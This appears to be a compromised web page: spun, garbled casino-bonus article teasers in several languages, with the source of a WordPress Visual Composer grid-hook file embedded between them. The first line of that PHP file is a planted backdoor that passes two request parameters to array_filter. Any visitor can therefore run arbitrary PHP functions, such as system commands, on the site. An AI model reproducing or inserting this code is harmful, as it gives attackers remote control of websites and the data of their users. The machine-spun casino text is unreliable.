Las vegas Slots On the web
blackly Articles Zero Obtain, No deposit, For fun Merely Getting The main benefit Revolves In the Online Slot machine Games? The best Free Games At the […]
Lire la suite?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); }
blackly Articles Zero Obtain, No deposit, For fun Merely Getting The main benefit Revolves In the Online Slot machine Games? The best Free Games At the […]
Lire la suiteGrootte Offlin Gratorama Meilleur Jeux Casino Lezen Grаtоrаmа Саsinо Theater Gij Gratorama Gokhuis Dе Kеrstwеggееfасtiе Hое Bеtrоuwbааr Zijn Grаtоrаmа? Hoofdsieraa Bank Oranje Gokhal Computervirus Winspark […]
Lire la suitePosts Prefer A position To test Boost your Bankroll That have Casino Incentives Seven Reel Harbors Our mission should be to raise per player’s gaming […]
Lire la suiteContent Spannendes Beweggrund Des Spielautomaten Starburst Vermag Starburst Sekundär Für nüsse Ostentativ Man sagt, sie seien? Was Sei Starbursts Rtp?? Alles in allem ist sera […]
Lire la suiteBlogs What’s the Difference between Free Revolves And you will 100 percent free Money Extra Credits? What’s the Better 100 percent free Revolves Casino I […]
Lire la suitePosts Usually Paddy Power Gambling establishment Award Me For making use of The fresh Mobile Software? From the Paddy Energy Games Paddy Energy The newest […]
Lire la suiteBlogs And this Game Can i Play with A no-deposit Incentive To the? Is actually 100 percent free Spins Incentives Worthwhile? Knowing the No deposit […]
Lire la suiteContent Temporarily On the three dimensional Position Paylines Do you know the Better Totally free Harbors? Why you ought to Enjoy Free Harbors On the […]
Lire la suiteArticles Strategies for Totally free Spins Precisely Harriette Cole: My Boyfriend Lied From the Strive to Get Time for you Themselves, How can i Manage […]
Lire la suiteContent Better Legal Casinos on the internet Better Casinos on the internet, : Finest Gambling enterprise Sites For real Currency Online game and you may […]
Lire la suite